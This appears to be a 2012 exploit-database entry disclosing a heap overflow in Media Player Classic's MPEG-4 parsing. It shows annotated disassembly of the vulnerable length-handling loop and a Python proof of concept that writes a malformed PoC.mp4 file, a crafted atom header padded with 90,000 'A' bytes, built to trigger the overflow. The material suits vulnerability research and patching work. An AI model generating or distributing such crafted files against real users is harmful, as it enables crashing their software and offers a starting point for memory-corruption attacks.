Media player Classic .MPEG4 Heap overflow Vulnerability



EKU-ID: 2664 CVE: OSVDB-ID:
Author: Khalil Zhani Published: 2012-09-27 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


# Title : Media player Classic .MPEG4 Heap overflow Vulnerability
# Auther : Senator of Pirates (Khalil Zhani)
# FaceBook : /SenatorofPiratesInfo
# E-Mail : Senator.of.Pirates.team[at]gmail.com
# Greeting : To my best friend Mr. Marshal Webb

bug :
----

The vulnerability is caused due to an heap overflow error, in sub_009F76B0 function there is loop which if the lenght size was individual value like 0x1D the loop will continues and then overflow will happen.

009F76B0  /$ 6A FF          PUSH -1
009F76B2  |. 68 9372D000    PUSH mpc-hc.00D07293
009F76B7  |. 64:A1 00000000 MOV EAX,DWORD PTR FS:[0]
009F76BD  |. 50             PUSH EAX
009F76BE  |. 53             PUSH EBX
009F76BF  |. 55             PUSH EBP
009F76C0  |. 56             PUSH ESI
009F76C1  |. 57             PUSH EDI
009F76C2  |. A1 7007DC00    MOV EAX,DWORD PTR DS:[DC0770]
009F76C7  |. 33C4           XOR EAX,ESP
009F76C9  |. 50             PUSH EAX
009F76CA  |. 8D4424 14      LEA EAX,DWORD PTR SS:[ESP+14]
009F76CE  |. 64:A3 00000000 MOV DWORD PTR FS:[0],EAX
009F76D4  |. 8B6C24 30      MOV EBP,DWORD PTR SS:[ESP+30]
009F76D8  |. 8B7C24 24      MOV EDI,DWORD PTR SS:[ESP+24]
009F76DC  |. 8B4424 2C      MOV EAX,DWORD PTR SS:[ESP+2C]
009F76E0  |. 8B5C24 28      MOV EBX,DWORD PTR SS:[ESP+28]     # length size 8 bits
...
009F773D  |. 8B4424 2C      MOV EAX,DWORD PTR SS:[ESP+2C]
009F7741  |. 83C3 F0        ADD EBX,-10                       # length size 8 bits -10
009F7744  |. 83D0 FF        ADC EAX,-1
009F7747  |. 8BCB           MOV ECX,EBX
009F7749  |. 0BC8           OR ECX,EAX
009F774B  |. 894424 2C      MOV DWORD PTR SS:[ESP+2C],EAX
009F774F  |. 74 45          JE SHORT mpc-hc.009F7796
009F7751  |> 8B55 00        /MOV EDX,DWORD PTR SS:[EBP]           # beginning of loop  ;  mpc-hc.004F9DA4
009F7754  |. 8B52 18        |MOV EDX,DWORD PTR DS:[EDX+18]
009F7757  |. 8D4424 30      |LEA EAX,DWORD PTR SS:[ESP+30]
009F775B  |. 50             |PUSH EAX
009F775C  |. 8BCD           |MOV ECX,EBP
009F775E  |. FFD2           |CALL EDX
009F7760  |. 8B46 08        |MOV EAX,DWORD PTR DS:[ESI+8]
009F7763  |. 40             |INC EAX
009F7764  |. 3B46 04        |CMP EAX,DWORD PTR DS:[ESI+4]
009F7767  |. 76 09          |JBE SHORT mpc-hc.009F7772
009F7769  |. E8 82DAFFFF    |CALL mpc-hc.009F51F0
009F776E  |. 85C0           |TEST EAX,EAX
009F7770  |. 75 10          |JNZ SHORT mpc-hc.009F7782
009F7772  |> 8B4E 08        |MOV ECX,DWORD PTR DS:[ESI+8]
009F7775  |. 8B56 0C        |MOV EDX,DWORD PTR DS:[ESI+C]
009F7778  |. 8B4424 30      |MOV EAX,DWORD PTR SS:[ESP+30]
009F777C  |. 89048A         |MOV DWORD PTR DS:[EDX+ECX*4],EAX    # overflows
009F777F  |. FF46 08        |INC DWORD PTR DS:[ESI+8]           
009F7782  |> 8B4424 2C      |MOV EAX,DWORD PTR SS:[ESP+2C]
009F7786  |. 83C3 FC        |ADD EBX,-4                          # length size 8 bits -10 (here the reason of bug if the value is individual 0x1D)
009F7789  |. 83D0 FF        |ADC EAX,-1
009F778C  |. 8BCB           |MOV ECX,EBX                        
009F778E  |. 0BC8           |OR ECX,EAX                         
009F7790  |. 894424 2C      |MOV DWORD PTR SS:[ESP+2C],EAX
009F7794  |.^75 BB          \JNZ SHORT mpc-hc.009F7751           # end of loop

PoC :
----

poc = ("\x00\x00\x00\x1D\x66\x74\x79\x70\x6D\x70\x34\x32\x00\x00\x00\x00\x69\x73\x6F\x6D\x61\x76"
"\x63\x31\x6D\x70\x34\x32\x00\x01\xAA\x71\x6D\x6F\x6F\x76\x00\x00\x00\x6C\x6D\x76\x68\x64"
"\x00\x00\x00\x00\xC4\x92\x34\x4F\xC4\x92\x34\x4F\x00\x00\x02\x58\x00\x02\xFB\xAC\x00\x01"
"\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x15\x69\x6F\x64\x73\x00\x00"
"\x00\x00\x10\x07\x00\x4F\xFF\xFF\x29\x15\xFF\x00\x00\xE7\x91\x74\x72\x61\x6B\x00\x00\x00"
"\x5C\x74\x6B\x68\x64\x00\x00\x00\x01\xC4\x92\x34\x4F\xC4\x92\x34\x50\x00\x00\x00\x01\x00"
"\x00\x00\x00\x00\x02\xFB\xA5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"
"\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\xE7\x2D\x6D\x64\x69\x61\x00\x00\x00\x20\x6D\x64\x68\x64\x00\x00\x00\x00\xC4"
"\x92\x34\x4F\xC4\x92\x34\x50\x00\x00\xAC\x44\x00\xDB\x40\x00\x55\xC4\x00\x00\x00\x00\x00"
"\x42\x68\x64\x6C\x72\x00\x00\x00\x00\x00\x00\x00\x00\x73\x6F\x75\x6E\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00");
poc += "\x41" * 90000

try:
    A = open("PoC.mp4","wb")    
    A.write(poc)
    A.close()
    print "[*] The file created [*]"
except:
    print "[*] Error while creating file [*]"
 
print "[*] Enter to continue.. [*]"
raw_input()